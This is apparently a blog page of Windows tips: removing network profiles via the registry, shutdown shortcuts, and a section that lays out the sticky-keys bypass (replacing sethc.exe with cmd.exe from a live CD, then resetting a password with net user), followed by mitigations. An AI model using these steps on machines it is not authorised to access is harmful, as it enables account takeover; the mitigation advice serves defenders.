Remove Unused network profiles in Windows 7/8/10

Run regedit with elevated privileges
Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles

Check Individual profiles under that tree and delete all the unused ones or modify the current config if you need to!

It’s not a bug, its an undocumented feature

Windows 10 Fall Creators Update has a new "feature" which re-opens all running applications upon next boot if you do not close programs before you shutdown.

As a workaround to this "bug-feature", create a shortcut as follows on your task-bar or desktop.

To Shutdown:

shutdown.exe /s /t 0

To Reboot:

shutdown.exe /r /t 0

Unfortunately, at the time of this writing, there is no way to switch this feature off within windows settings. Hopefully, Microsoft includes a switch in coming updates!

Windows Admin Password Exploit

Steps to use the exploit

  • Boot using any live cd to access the hard drive
  • Replace C:\Windows\System32\sethc.exe with C:\Windows\System32\cmd.exe
  • Reboot
  • On Login Screen hit Shift key 5 times
  • net user "username" "newpassword" [without quotes]
  • Voila!

To secure your system from this venerability, these steps could slow down / stop the attacker.

  • Disable booting using removable media using UEFI / BIOS & protect with password
  • Full System Encryption
  • Disable Sticky Keys
  • Physical Security for the hardware